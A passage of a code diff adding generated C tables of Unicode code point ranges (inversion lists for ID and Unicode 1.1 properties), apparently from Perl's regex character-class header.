+	0x6A,
+	0x70,
+	0x79,
+	0x80,
+	0x8A,
+	0x8C,
+	0x8F,
+	0x91,
+	0x9D,
+	0x9E,
+	0x9F,
+	0xA0,
+	0xA1,
+	0xA2,
+	0xAA,
+	0xAC,
+	0xAF,
+	0xC1,
+	0xCA,
+	0xCB,
+	0xD0,
+	0xD1,
+	0xDA,
+	0xDB,
+	0xE0,
+	0xE2,
+	0xEA,
+	0xEB,
+	0xF0,
+	0xFB,
+	0xFF,
+	0x100,
+	0x2C2,
+	0x2C6,
+	0x2D2,
+	0x2E0,
+	0x2E5,
+	0x2EC,
+	0x2ED,
+	0x2EE,
+	0x2EF,
+	0x370,
+	0x375,
+	0x376,
+	0x378,
+	0x37A,
+	0x37E,
+	0x37F,
+	0x380,
+	0x386,
+	0x387,
+	0x388,
+	0x38B,
+	0x38C,
+	0x38D,
+	0x38E,
+	0x3A2,
+	0x3A3,
+	0x3F6,
+	0x3F7,
+	0x482,
+	0x48A,
+	0x530,
+	0x531,
+	0x557,
+	0x559,
+	0x55A,
+	0x561,
+	0x588,
+	0x5D0,
+	0x5EB,
+	0x5F0,
+	0x5F3,
+	0x620,
+	0x64B,
+	0x66E,
+	0x670,
+	0x671,
+	0x6D4,
+	0x6D5,
+	0x6D6,
+	0x6E5,
+	0x6E7,
+	0x6EE,
+	0x6F0,
+	0x6FA,
+	0x6FD,
+	0x6FF,
+	0x700,
+	0x710,
+	0x711,
+	0x712,
+	0x730,
+	0x74D,
+	0x7A6,
+	0x7B1,
+	0x7B2,
+	0x7CA,
+	0x7EB,
+	0x7F4,
+	0x7F6,
+	0x7FA,
+	0x7FB,
+	0x800,
+	0x816,
+	0x81A,
+	0x81B,
+	0x824,
+	0x825,
+	0x828,
+	0x829,
+	0x840,
+	0x859,
+	0x860,
+	0x86B,
+	0x8A0,
+	0x8B5,
+	0x8B6,
+	0x8BE,
+	0x904,
+	0x93A,
+	0x93D,
+	0x93E,
+	0x950,
+	0x951,
+	0x958,
+	0x962,
+	0x971,
+	0x981,
+	0x985,
+	0x98D,
+	0x98F,
+	0x991,
+	0x993,
+	0x9A9,
+	0x9AA,
+	0x9B1,
+	0x9B2,
+	0x9B3,
+	0x9B6,
+	0x9BA,
+	0x9BD,
+	0x9BE,
+	0x9CE,
+	0x9CF,
+	0x9DC,
+	0x9DE,
+	0x9DF,
+	0x9E2,
+	0x9F0,
+	0x9F2,
+	0x9FC,
+	0x9FD,
+	0xA05,
+	0xA0B,
+	0xA0F,
+	0xA11,
+	0xA13,
+	0xA29,
+	0xA2A,
+	0xA31,
+	0xA32,
+	0xA34,
+	0xA35,
+	0xA37,
+	0xA38,
+	0xA3A,
+	0xA59,
+	0xA5D,
+	0xA5E,
+	0xA5F,
+	0xA72,
+	0xA75,
+	0xA85,
+	0xA8E,
+	0xA8F,
+	0xA92,
+	0xA93,
+	0xAA9,
+	0xAAA,
+	0xAB1,
+	0xAB2,
+	0xAB4,
+	0xAB5,
+	0xABA,
+	0xABD,
+	0xABE,
+	0xAD0,
+	0xAD1,
+	0xAE0,
+	0xAE2,
+	0xAF9,
+	0xAFA,
+	0xB05,
+	0xB0D,
+	0xB0F,
+	0xB11,
+	0xB13,
+	0xB29,
+	0xB2A,
+	0xB31,
+	0xB32,
+	0xB34,
+	0xB35,
+	0xB3A,
+	0xB3D,
+	0xB3E,
+	0xB5C,
+	0xB5E,
+	0xB5F,
+	0xB62,
+	0xB71,
+	0xB72,
+	0xB83,
+	0xB84,
+	0xB85,
+	0xB8B,
+	0xB8E,
+	0xB91,
+	0xB92,
+	0xB96,
+	0xB99,
+	0xB9B,
+	0xB9C,
+	0xB9D,
+	0xB9E,
+	0xBA0,
+	0xBA3,
+	0xBA5,
+	0xBA8,
+	0xBAB,
+	0xBAE,
+	0xBBA,
+	0xBD0,
+	0xBD1,
+	0xC05,
+	0xC0D,
+	0xC0E,
+	0xC11,
+	0xC12,
+	0xC29,
+	0xC2A,
+	0xC3A,
+	0xC3D,
+	0xC3E,
+	0xC58,
+	0xC5B,
+	0xC60,
+	0xC62,
+	0xC80,
+	0xC81,
+	0xC85,
+	0xC8D,
+	0xC8E,
+	0xC91,
+	0xC92,
+	0xCA9,
+	0xCAA,
+	0xCB4,
+	0xCB5,
+	0xCBA,
+	0xCBD,
+	0xCBE,
+	0xCDE,
+	0xCDF,
+	0xCE0,
+	0xCE2,
+	0xCF1,
+	0xCF3,
+	0xD05,
+	0xD0D,
+	0xD0E,
+	0xD11,
+	0xD12,
+	0xD3B,
+	0xD3D,
+	0xD3E,
+	0xD4E,
+	0xD4F,
+	0xD54,
+	0xD57,
+	0xD5F,
+	0xD62,
+	0xD7A,
+	0xD80,
+	0xD85,
+	0xD97,
+	0xD9A,
+	0xDB2,
+	0xDB3,
+	0xDBC,
+	0xDBD,
+	0xDBE,
+	0xDC0,
+	0xDC7,
+	0xE01,
+	0xE31,
+	0xE32,
+	0xE34,
+	0xE40,
+	0xE47,
+	0xE81,
+	0xE83,
+	0xE84,
+	0xE85,
+	0xE87,
+	0xE89,
+	0xE8A,
+	0xE8B,
+	0xE8D,
+	0xE8E,
+	0xE94,
+	0xE98,
+	0xE99,
+	0xEA0,
+	0xEA1,
+	0xEA4,
+	0xEA5,
+	0xEA6,
+	0xEA7,
+	0xEA8,
+	0xEAA,
+	0xEAC,
+	0xEAD,
+	0xEB1,
+	0xEB2,
+	0xEB4,
+	0xEBD,
+	0xEBE,
+	0xEC0,
+	0xEC5,
+	0xEC6,
+	0xEC7,
+	0xEDC,
+	0xEE0,
+	0xF00,
+	0xF01,
+	0xF40,
+	0xF48,
+	0xF49,
+	0xF6D,
+	0xF88,
+	0xF8D,
+	0x1000,
+	0x102B,
+	0x103F,
+	0x1040,
+	0x1050,
+	0x1056,
+	0x105A,
+	0x105E,
+	0x1061,
+	0x1062,
+	0x1065,
+	0x1067,
+	0x106E,
+	0x1071,
+	0x1075,
+	0x1082,
+	0x108E,
+	0x108F,
+	0x10A0,
+	0x10C6,
+	0x10C7,
+	0x10C8,
+	0x10CD,
+	0x10CE,
+	0x10D0,
+	0x10FB,
+	0x10FC,
+	0x1249,
+	0x124A,
+	0x124E,
+	0x1250,
+	0x1257,
+	0x1258,
+	0x1259,
+	0x125A,
+	0x125E,
+	0x1260,
+	0x1289,
+	0x128A,
+	0x128E,
+	0x1290,
+	0x12B1,
+	0x12B2,
+	0x12B6,
+	0x12B8,
+	0x12BF,
+	0x12C0,
+	0x12C1,
+	0x12C2,
+	0x12C6,
+	0x12C8,
+	0x12D7,
+	0x12D8,
+	0x1311,
+	0x1312,
+	0x1316,
+	0x1318,
+	0x135B,
+	0x1380,
+	0x1390,
+	0x13A0,
+	0x13F6,
+	0x13F8,
+	0x13FE,
+	0x1401,
+	0x166D,
+	0x166F,
+	0x1680,
+	0x1681,
+	0x169B,
+	0x16A0,
+	0x16EB,
+	0x16EE,
+	0x16F9,
+	0x1700,
+	0x170D,
+	0x170E,
+	0x1712,
+	0x1720,
+	0x1732,
+	0x1740,
+	0x1752,
+	0x1760,
+	0x176D,
+	0x176E,
+	0x1771,
+	0x1780,
+	0x17B4,
+	0x17D7,
+	0x17D8,
+	0x17DC,
+	0x17DD,
+	0x1820,
+	0x1878,
+	0x1880,
+	0x18A9,
+	0x18AA,
+	0x18AB,
+	0x18B0,
+	0x18F6,
+	0x1900,
+	0x191F,
+	0x1950,
+	0x196E,
+	0x1970,
+	0x1975,
+	0x1980,
+	0x19AC,
+	0x19B0,
+	0x19CA,
+	0x1A00,
+	0x1A17,
+	0x1A20,
+	0x1A55,
+	0x1AA7,
+	0x1AA8,
+	0x1B05,
+	0x1B34,
+	0x1B45,
+	0x1B4C,
+	0x1B83,
+	0x1BA1,
+	0x1BAE,
+	0x1BB0,
+	0x1BBA,
+	0x1BE6,
+	0x1C00,
+	0x1C24,
+	0x1C4D,
+	0x1C50,
+	0x1C5A,
+	0x1C7E,
+	0x1C80,
+	0x1C89,
+	0x1CE9,
+	0x1CED,
+	0x1CEE,
+	0x1CF2,
+	0x1CF5,
+	0x1CF7,
+	0x1D00,
+	0x1DC0,
+	0x1E00,
+	0x1F16,
+	0x1F18,
+	0x1F1E,
+	0x1F20,
+	0x1F46,
+	0x1F48,
+	0x1F4E,
+	0x1F50,
+	0x1F58,
+	0x1F59,
+	0x1F5A,
+	0x1F5B,
+	0x1F5C,
+	0x1F5D,
+	0x1F5E,
+	0x1F5F,
+	0x1F7E,
+	0x1F80,
+	0x1FB5,
+	0x1FB6,
+	0x1FBD,
+	0x1FBE,
+	0x1FBF,
+	0x1FC2,
+	0x1FC5,
+	0x1FC6,
+	0x1FCD,
+	0x1FD0,
+	0x1FD4,
+	0x1FD6,
+	0x1FDC,
+	0x1FE0,
+	0x1FED,
+	0x1FF2,
+	0x1FF5,
+	0x1FF6,
+	0x1FFD,
+	0x2071,
+	0x2072,
+	0x207F,
+	0x2080,
+	0x2090,
+	0x209D,
+	0x2102,
+	0x2103,
+	0x2107,
+	0x2108,
+	0x210A,
+	0x2114,
+	0x2115,
+	0x2116,
+	0x2118,
+	0x211E,
+	0x2124,
+	0x2125,
+	0x2126,
+	0x2127,
+	0x2128,
+	0x2129,
+	0x212A,
+	0x213A,
+	0x213C,
+	0x2140,
+	0x2145,
+	0x214A,
+	0x214E,
+	0x214F,
+	0x2160,
+	0x2189,
+	0x2C00,
+	0x2C2F,
+	0x2C30,
+	0x2C5F,
+	0x2C60,
+	0x2CE5,
+	0x2CEB,
+	0x2CEF,
+	0x2CF2,
+	0x2CF4,
+	0x2D00,
+	0x2D26,
+	0x2D27,
+	0x2D28,
+	0x2D2D,
+	0x2D2E,
+	0x2D30,
+	0x2D68,
+	0x2D6F,
+	0x2D70,
+	0x2D80,
+	0x2D97,
+	0x2DA0,
+	0x2DA7,
+	0x2DA8,
+	0x2DAF,
+	0x2DB0,
+	0x2DB7,
+	0x2DB8,
+	0x2DBF,
+	0x2DC0,
+	0x2DC7,
+	0x2DC8,
+	0x2DCF,
+	0x2DD0,
+	0x2DD7,
+	0x2DD8,
+	0x2DDF,
+	0x3005,
+	0x3008,
+	0x3021,
+	0x302A,
+	0x3031,
+	0x3036,
+	0x3038,
+	0x303D,
+	0x3041,
+	0x3097,
+	0x309B,
+	0x30A0,
+	0x30A1,
+	0x30FB,
+	0x30FC,
+	0x3100,
+	0x3105,
+	0x312F,
+	0x3131,
+	0x318F,
+	0x31A0,
+	0x31BB,
+	0x31F0,
+	0x3200,
+	0x3400,
+	0x4DB6,
+	0x4E00,
+	0x9FEB,
+	0xA000,
+	0xA48D,
+	0xA4D0,
+	0xA4FE,
+	0xA500,
+	0xA60D,
+	0xA610,
+	0xA620,
+	0xA62A,
+	0xA62C,
+	0xA640,
+	0xA66F,
+	0xA67F,
+	0xA69E,
+	0xA6A0,
+	0xA6F0,
+	0xA717,
+	0xA720,
+	0xA722,
+	0xA789,
+	0xA78B,
+	0xA7AF,
+	0xA7B0,
+	0xA7B8,
+	0xA7F7,
+	0xA802,
+	0xA803,
+	0xA806,
+	0xA807,
+	0xA80B,
+	0xA80C,
+	0xA823,
+	0xA840,
+	0xA874,
+	0xA882,
+	0xA8B4,
+	0xA8F2,
+	0xA8F8,
+	0xA8FB,
+	0xA8FC,
+	0xA8FD,
+	0xA8FE,
+	0xA90A,
+	0xA926,
+	0xA930,
+	0xA947,
+	0xA960,
+	0xA97D,
+	0xA984,
+	0xA9B3,
+	0xA9CF,
+	0xA9D0,
+	0xA9E0,
+	0xA9E5,
+	0xA9E6,
+	0xA9F0,
+	0xA9FA,
+	0xA9FF,
+	0xAA00,
+	0xAA29,
+	0xAA40,
+	0xAA43,
+	0xAA44,
+	0xAA4C,
+	0xAA60,
+	0xAA77,
+	0xAA7A,
+	0xAA7B,
+	0xAA7E,
+	0xAAB0,
+	0xAAB1,
+	0xAAB2,
+	0xAAB5,
+	0xAAB7,
+	0xAAB9,
+	0xAABE,
+	0xAAC0,
+	0xAAC1,
+	0xAAC2,
+	0xAAC3,
+	0xAADB,
+	0xAADE,
+	0xAAE0,
+	0xAAEB,
+	0xAAF2,
+	0xAAF5,
+	0xAB01,
+	0xAB07,
+	0xAB09,
+	0xAB0F,
+	0xAB11,
+	0xAB17,
+	0xAB20,
+	0xAB27,
+	0xAB28,
+	0xAB2F,
+	0xAB30,
+	0xAB5B,
+	0xAB5C,
+	0xAB66,
+	0xAB70,
+	0xABE3,
+	0xAC00,
+	0xD7A4,
+	0xD7B0,
+	0xD7C7,
+	0xD7CB,
+	0xD7FC,
+	0xF900,
+	0xFA6E,
+	0xFA70,
+	0xFADA,
+	0xFB00,
+	0xFB07,
+	0xFB13,
+	0xFB18,
+	0xFB1D,
+	0xFB1E,
+	0xFB1F,
+	0xFB29,
+	0xFB2A,
+	0xFB37,
+	0xFB38,
+	0xFB3D,
+	0xFB3E,
+	0xFB3F,
+	0xFB40,
+	0xFB42,
+	0xFB43,
+	0xFB45,
+	0xFB46,
+	0xFBB2,
+	0xFBD3,
+	0xFD3E,
+	0xFD50,
+	0xFD90,
+	0xFD92,
+	0xFDC8,
+	0xFDF0,
+	0xFDFC,
+	0xFE70,
+	0xFE75,
+	0xFE76,
+	0xFEFD,
+	0xFF21,
+	0xFF3B,
+	0xFF41,
+	0xFF5B,
+	0xFF66,
+	0xFFBF,
+	0xFFC2,
+	0xFFC8,
+	0xFFCA,
+	0xFFD0,
+	0xFFD2,
+	0xFFD8,
+	0xFFDA,
+	0xFFDD,
+	0x10000,
+	0x1000C,
+	0x1000D,
+	0x10027,
+	0x10028,
+	0x1003B,
+	0x1003C,
+	0x1003E,
+	0x1003F,
+	0x1004E,
+	0x10050,
+	0x1005E,
+	0x10080,
+	0x100FB,
+	0x10140,
+	0x10175,
+	0x10280,
+	0x1029D,
+	0x102A0,
+	0x102D1,
+	0x10300,
+	0x10320,
+	0x1032D,
+	0x1034B,
+	0x10350,
+	0x10376,
+	0x10380,
+	0x1039E,
+	0x103A0,
+	0x103C4,
+	0x103C8,
+	0x103D0,
+	0x103D1,
+	0x103D6,
+	0x10400,
+	0x1049E,
+	0x104B0,
+	0x104D4,
+	0x104D8,
+	0x104FC,
+	0x10500,
+	0x10528,
+	0x10530,
+	0x10564,
+	0x10600,
+	0x10737,
+	0x10740,
+	0x10756,
+	0x10760,
+	0x10768,
+	0x10800,
+	0x10806,
+	0x10808,
+	0x10809,
+	0x1080A,
+	0x10836,
+	0x10837,
+	0x10839,
+	0x1083C,
+	0x1083D,
+	0x1083F,
+	0x10856,
+	0x10860,
+	0x10877,
+	0x10880,
+	0x1089F,
+	0x108E0,
+	0x108F3,
+	0x108F4,
+	0x108F6,
+	0x10900,
+	0x10916,
+	0x10920,
+	0x1093A,
+	0x10980,
+	0x109B8,
+	0x109BE,
+	0x109C0,
+	0x10A00,
+	0x10A01,
+	0x10A10,
+	0x10A14,
+	0x10A15,
+	0x10A18,
+	0x10A19,
+	0x10A34,
+	0x10A60,
+	0x10A7D,
+	0x10A80,
+	0x10A9D,
+	0x10AC0,
+	0x10AC8,
+	0x10AC9,
+	0x10AE5,
+	0x10B00,
+	0x10B36,
+	0x10B40,
+	0x10B56,
+	0x10B60,
+	0x10B73,
+	0x10B80,
+	0x10B92,
+	0x10C00,
+	0x10C49,
+	0x10C80,
+	0x10CB3,
+	0x10CC0,
+	0x10CF3,
+	0x11003,
+	0x11038,
+	0x11083,
+	0x110B0,
+	0x110D0,
+	0x110E9,
+	0x11103,
+	0x11127,
+	0x11150,
+	0x11173,
+	0x11176,
+	0x11177,
+	0x11183,
+	0x111B3,
+	0x111C1,
+	0x111C5,
+	0x111DA,
+	0x111DB,
+	0x111DC,
+	0x111DD,
+	0x11200,
+	0x11212,
+	0x11213,
+	0x1122C,
+	0x11280,
+	0x11287,
+	0x11288,
+	0x11289,
+	0x1128A,
+	0x1128E,
+	0x1128F,
+	0x1129E,
+	0x1129F,
+	0x112A9,
+	0x112B0,
+	0x112DF,
+	0x11305,
+	0x1130D,
+	0x1130F,
+	0x11311,
+	0x11313,
+	0x11329,
+	0x1132A,
+	0x11331,
+	0x11332,
+	0x11334,
+	0x11335,
+	0x1133A,
+	0x1133D,
+	0x1133E,
+	0x11350,
+	0x11351,
+	0x1135D,
+	0x11362,
+	0x11400,
+	0x11435,
+	0x11447,
+	0x1144B,
+	0x11480,
+	0x114B0,
+	0x114C4,
+	0x114C6,
+	0x114C7,
+	0x114C8,
+	0x11580,
+	0x115AF,
+	0x115D8,
+	0x115DC,
+	0x11600,
+	0x11630,
+	0x11644,
+	0x11645,
+	0x11680,
+	0x116AB,
+	0x11700,
+	0x1171A,
+	0x118A0,
+	0x118E0,
+	0x118FF,
+	0x11900,
+	0x11A00,
+	0x11A01,
+	0x11A0B,
+	0x11A33,
+	0x11A3A,
+	0x11A3B,
+	0x11A50,
+	0x11A51,
+	0x11A5C,
+	0x11A84,
+	0x11A86,
+	0x11A8A,
+	0x11AC0,
+	0x11AF9,
+	0x11C00,
+	0x11C09,
+	0x11C0A,
+	0x11C2F,
+	0x11C40,
+	0x11C41,
+	0x11C72,
+	0x11C90,
+	0x11D00,
+	0x11D07,
+	0x11D08,
+	0x11D0A,
+	0x11D0B,
+	0x11D31,
+	0x11D46,
+	0x11D47,
+	0x12000,
+	0x1239A,
+	0x12400,
+	0x1246F,
+	0x12480,
+	0x12544,
+	0x13000,
+	0x1342F,
+	0x14400,
+	0x14647,
+	0x16800,
+	0x16A39,
+	0x16A40,
+	0x16A5F,
+	0x16AD0,
+	0x16AEE,
+	0x16B00,
+	0x16B30,
+	0x16B40,
+	0x16B44,
+	0x16B63,
+	0x16B78,
+	0x16B7D,
+	0x16B90,
+	0x16F00,
+	0x16F45,
+	0x16F50,
+	0x16F51,
+	0x16F93,
+	0x16FA0,
+	0x16FE0,
+	0x16FE2,
+	0x17000,
+	0x187ED,
+	0x18800,
+	0x18AF3,
+	0x1B000,
+	0x1B11F,
+	0x1B170,
+	0x1B2FC,
+	0x1BC00,
+	0x1BC6B,
+	0x1BC70,
+	0x1BC7D,
+	0x1BC80,
+	0x1BC89,
+	0x1BC90,
+	0x1BC9A,
+	0x1D400,
+	0x1D455,
+	0x1D456,
+	0x1D49D,
+	0x1D49E,
+	0x1D4A0,
+	0x1D4A2,
+	0x1D4A3,
+	0x1D4A5,
+	0x1D4A7,
+	0x1D4A9,
+	0x1D4AD,
+	0x1D4AE,
+	0x1D4BA,
+	0x1D4BB,
+	0x1D4BC,
+	0x1D4BD,
+	0x1D4C4,
+	0x1D4C5,
+	0x1D506,
+	0x1D507,
+	0x1D50B,
+	0x1D50D,
+	0x1D515,
+	0x1D516,
+	0x1D51D,
+	0x1D51E,
+	0x1D53A,
+	0x1D53B,
+	0x1D53F,
+	0x1D540,
+	0x1D545,
+	0x1D546,
+	0x1D547,
+	0x1D54A,
+	0x1D551,
+	0x1D552,
+	0x1D6A6,
+	0x1D6A8,
+	0x1D6C1,
+	0x1D6C2,
+	0x1D6DB,
+	0x1D6DC,
+	0x1D6FB,
+	0x1D6FC,
+	0x1D715,
+	0x1D716,
+	0x1D735,
+	0x1D736,
+	0x1D74F,
+	0x1D750,
+	0x1D76F,
+	0x1D770,
+	0x1D789,
+	0x1D78A,
+	0x1D7A9,
+	0x1D7AA,
+	0x1D7C3,
+	0x1D7C4,
+	0x1D7CC,
+	0x1E800,
+	0x1E8C5,
+	0x1E900,
+	0x1E944,
+	0x1EE00,
+	0x1EE04,
+	0x1EE05,
+	0x1EE20,
+	0x1EE21,
+	0x1EE23,
+	0x1EE24,
+	0x1EE25,
+	0x1EE27,
+	0x1EE28,
+	0x1EE29,
+	0x1EE33,
+	0x1EE34,
+	0x1EE38,
+	0x1EE39,
+	0x1EE3A,
+	0x1EE3B,
+	0x1EE3C,
+	0x1EE42,
+	0x1EE43,
+	0x1EE47,
+	0x1EE48,
+	0x1EE49,
+	0x1EE4A,
+	0x1EE4B,
+	0x1EE4C,
+	0x1EE4D,
+	0x1EE50,
+	0x1EE51,
+	0x1EE53,
+	0x1EE54,
+	0x1EE55,
+	0x1EE57,
+	0x1EE58,
+	0x1EE59,
+	0x1EE5A,
+	0x1EE5B,
+	0x1EE5C,
+	0x1EE5D,
+	0x1EE5E,
+	0x1EE5F,
+	0x1EE60,
+	0x1EE61,
+	0x1EE63,
+	0x1EE64,
+	0x1EE65,
+	0x1EE67,
+	0x1EE6B,
+	0x1EE6C,
+	0x1EE73,
+	0x1EE74,
+	0x1EE78,
+	0x1EE79,
+	0x1EE7D,
+	0x1EE7E,
+	0x1EE7F,
+	0x1EE80,
+	0x1EE8A,
+	0x1EE8B,
+	0x1EE9C,
+	0x1EEA1,
+	0x1EEA4,
+	0x1EEA5,
+	0x1EEAA,
+	0x1EEAB,
+	0x1EEBC,
+	0x20000,
+	0x2A6D7,
+	0x2A700,
+	0x2B735,
+	0x2B740,
+	0x2B81E,
+	0x2B820,
+	0x2CEA2,
+	0x2CEB0,
+	0x2EBE1,
+	0x2F800,
+	0x2FA1E
+};
+
+#   endif	/* EBCDIC 037 */
+
+static const UV PL_IDSB_invlist[] = { /* for all charsets */
+	5,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x2FF0,
+	0x2FF2,
+	0x2FF4,
+	0x2FFC
+};
+
+static const UV PL_IDST_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x2FF2,
+	0x2FF4
+};
+
+static const UV PL_IN__1_DOT_1_invlist[] = { /* for all charsets */
+	576,	/* Number of elements */
+	148565664, /* Version and data structure type */
 	0,	/* 0 if the list starts at 0;
 		   1 if it starts at the element beyond 0 */
 	0x0,
+	0x1F6,
+	0x1FA,
+	0x218,
+	0x250,
+	0x2A9,
+	0x2B0,
+	0x2DF,
+	0x2E0,
+	0x2EA,
+	0x300,
+	0x346,
+	0x360,
+	0x362,
+	0x374,
+	0x376,
+	0x37A,
+	0x37B,
+	0x37E,
+	0x37F,
+	0x384,
+	0x38B,
+	0x38C,
+	0x38D,
+	0x38E,
+	0x3A2,
+	0x3A3,
+	0x3CF,
+	0x3D0,
+	0x3D7,
+	0x3DA,
+	0x3DB,
+	0x3DC,
+	0x3DD,
+	0x3DE,
+	0x3DF,
+	0x3E0,
+	0x3E1,
+	0x3E2,
+	0x3F4,
+	0x401,
+	0x40D,
+	0x40E,
+	0x450,
+	0x451,
+	0x45D,
+	0x45E,
+	0x487,
+	0x490,
+	0x4C5,
+	0x4C7,
+	0x4C9,
+	0x4CB,
+	0x4CD,
+	0x4D0,
+	0x4EC,
+	0x4EE,
+	0x4F6,
+	0x4F8,
+	0x4FA,
+	0x531,
+	0x557,
+	0x559,
+	0x560,
+	0x561,
+	0x588,
+	0x589,
+	0x58A,
+	0x5B0,
+	0x5BA,
+	0x5BB,
+	0x5C4,
+	0x5D0,
+	0x5EB,
+	0x5F0,
+	0x5F5,
+	0x60C,
+	0x60D,
+	0x61B,
+	0x61C,
+	0x61F,
+	0x620,
+	0x621,
+	0x63B,
+	0x640,
+	0x653,
+	0x660,
+	0x66E,
+	0x670,
+	0x6B8,
+	0x6BA,
+	0x6BF,
+	0x6C0,
+	0x6CF,
+	0x6D0,
+	0x6EE,
+	0x6F0,
+	0x6FA,
+	0x901,
+	0x904,
+	0x905,
+	0x93A,
+	0x93C,
+	0x94E,
+	0x950,
+	0x955,
+	0x958,
+	0x971,
+	0x981,
+	0x984,
+	0x985,
+	0x98D,
+	0x98F,
+	0x991,
+	0x993,
+	0x9A9,
+	0x9AA,
+	0x9B1,
+	0x9B2,
+	0x9B3,
+	0x9B6,
+	0x9BA,
+	0x9BC,
+	0x9BD,
+	0x9BE,
+	0x9C5,
+	0x9C7,
+	0x9C9,
+	0x9CB,
+	0x9CE,
+	0x9D7,
+	0x9D8,
+	0x9DC,
+	0x9DE,
+	0x9DF,
+	0x9E4,
+	0x9E6,
+	0x9FB,
+	0xA02,
+	0xA03,
+	0xA05,
+	0xA0B,
+	0xA0F,
+	0xA11,
+	0xA13,
+	0xA29,
+	0xA2A,
+	0xA31,
+	0xA32,
+	0xA34,
+	0xA35,
+	0xA37,
+	0xA38,
+	0xA3A,
+	0xA3C,
+	0xA3D,
+	0xA3E,
+	0xA43,
+	0xA47,
+	0xA49,
+	0xA4B,
+	0xA4E,
+	0xA59,
+	0xA5D,
+	0xA5E,
+	0xA5F,
+	0xA66,
+	0xA75,
+	0xA81,
+	0xA84,
+	0xA85,
+	0xA8C,
+	0xA8D,
+	0xA8E,
+	0xA8F,
+	0xA92,
+	0xA93,
+	0xAA9,
+	0xAAA,
+	0xAB1,
+	0xAB2,
+	0xAB4,
+	0xAB5,
+	0xABA,
+	0xABC,
+	0xAC6,
+	0xAC7,
+	0xACA,
+	0xACB,
+	0xACE,
+	0xAD0,
+	0xAD1,
+	0xAE0,
+	0xAE1,
+	0xAE6,
+	0xAF0,
+	0xB01,
+	0xB04,
+	0xB05,
+	0xB0D,
+	0xB0F,
+	0xB11,
+	0xB13,
+	0xB29,
+	0xB2A,
+	0xB31,
+	0xB32,
+	0xB34,
+	0xB36,
+	0xB3A,
+	0xB3C,
+	0xB44,
+	0xB47,
+	0xB49,
+	0xB4B,
+	0xB4E,
+	0xB56,
+	0xB58,
+	0xB5C,
+	0xB5E,
+	0xB5F,
+	0xB62,
+	0xB66,
+	0xB71,
+	0xB82,
+	0xB84,
+	0xB85,
+	0xB8B,
+	0xB8E,
+	0xB91,
+	0xB92,
+	0xB96,
+	0xB99,
+	0xB9B,
+	0xB9C,
+	0xB9D,
+	0xB9E,
+	0xBA0,
+	0xBA3,
+	0xBA5,
+	0xBA8,
+	0xBAB,
+	0xBAE,
+	0xBB6,
+	0xBB7,
+	0xBBA,
+	0xBBE,
+	0xBC3,
+	0xBC6,
+	0xBC9,
+	0xBCA,
+	0xBCE,
+	0xBD7,
+	0xBD8,
+	0xBE7,
+	0xBF3,
+	0xC01,
+	0xC04,
+	0xC05,
+	0xC0D,
+	0xC0E,
+	0xC11,
+	0xC12,
+	0xC29,
+	0xC2A,
+	0xC34,
+	0xC35,
+	0xC3A,
+	0xC3E,
+	0xC45,
+	0xC46,
+	0xC49,
+	0xC4A,
+	0xC4E,
+	0xC55,
+	0xC57,
+	0xC60,
+	0xC62,
+	0xC66,
+	0xC70,
+	0xC82,
+	0xC84,
+	0xC85,
+	0xC8D,
+	0xC8E,
+	0xC91,
+	0xC92,
+	0xCA9,
+	0xCAA,
+	0xCB4,
+	0xCB5,
+	0xCBA,
+	0xCBE,
+	0xCC5,
+	0xCC6,
+	0xCC9,
+	0xCCA,
+	0xCCE,
+	0xCD5,
+	0xCD7,
+	0xCDE,
+	0xCDF,
+	0xCE0,
+	0xCE2,
+	0xCE6,
+	0xCF0,
+	0xD02,
+	0xD04,
+	0xD05,
+	0xD0D,
+	0xD0E,
+	0xD11,
+	0xD12,
+	0xD29,
+	0xD2A,
+	0xD3A,
+	0xD3E,
+	0xD44,
+	0xD46,
+	0xD49,
+	0xD4A,
+	0xD4E,
+	0xD57,
+	0xD58,
+	0xD60,
+	0xD62,
+	0xD66,
+	0xD70,
+	0xE01,
+	0xE3B,
+	0xE3F,
+	0xE5C,
+	0xE81,
+	0xE83,
+	0xE84,
+	0xE85,
+	0xE87,
+	0xE89,
+	0xE8A,
+	0xE8B,
+	0xE8D,
+	0xE8E,
+	0xE94,
+	0xE98,
+	0xE99,
+	0xEA0,
+	0xEA1,
+	0xEA4,
+	0xEA5,
+	0xEA6,
+	0xEA7,
+	0xEA8,
+	0xEAA,
+	0xEAC,
+	0xEAD,
+	0xEBA,
+	0xEBB,
+	0xEBE,
+	0xEC0,
+	0xEC5,
+	0xEC6,
+	0xEC7,
+	0xEC8,
+	0xECE,
+	0xED0,
+	0xEDA,
+	0xEDC,
+	0xEDE,
+	0x10A0,
+	0x10C6,
+	0x10D0,
+	0x10F7,
+	0x10FB,
+	0x10FC,
+	0x1100,
+	0x115A,
+	0x115F,
+	0x11A3,
+	0x11A8,
+	0x11FA,
+	0x1E00,
+	0x1E9B,
+	0x1EA0,
+	0x1EFA,
+	0x1F00,
+	0x1F16,
+	0x1F18,
+	0x1F1E,
+	0x1F20,
+	0x1F46,
+	0x1F48,
+	0x1F4E,
+	0x1F50,
+	0x1F58,
+	0x1F59,
+	0x1F5A,
+	0x1F5B,
+	0x1F5C,
+	0x1F5D,
+	0x1F5E,
+	0x1F5F,
+	0x1F7E,
+	0x1F80,
+	0x1FB5,
+	0x1FB6,
+	0x1FC5,
+	0x1FC6,
+	0x1FD4,
+	0x1FD6,
+	0x1FDC,
+	0x1FDD,
+	0x1FF0,
+	0x1FF2,
+	0x1FF5,
+	0x1FF6,
+	0x1FFF,
+	0x2000,
+	0x202F,
+	0x2030,
+	0x2047,
+	0x206A,
+	0x2071,
+	0x2074,
+	0x208F,
+	0x20A0,
+	0x20AB,
+	0x20D0,
+	0x20E2,
+	0x2100,
+	0x2139,
+	0x2153,
+	0x2183,
+	0x2190,
+	0x21EB,
+	0x2200,
+	0x22F2,
+	0x2300,
+	0x2301,
+	0x2302,
+	0x237B,
+	0x2400,
+	0x2425,
+	0x2440,
+	0x244B,
+	0x2460,
+	0x24EB,
+	0x2500,
+	0x2596,
+	0x25A0,
+	0x25F0,
+	0x2600,
+	0x2614,
+	0x261A,
+	0x2670,
+	0x2701,
+	0x2705,
+	0x2706,
+	0x270A,
+	0x270C,
+	0x2728,
+	0x2729,
+	0x274C,
+	0x274D,
+	0x274E,
+	0x274F,
+	0x2753,
+	0x2756,
+	0x2757,
+	0x2758,
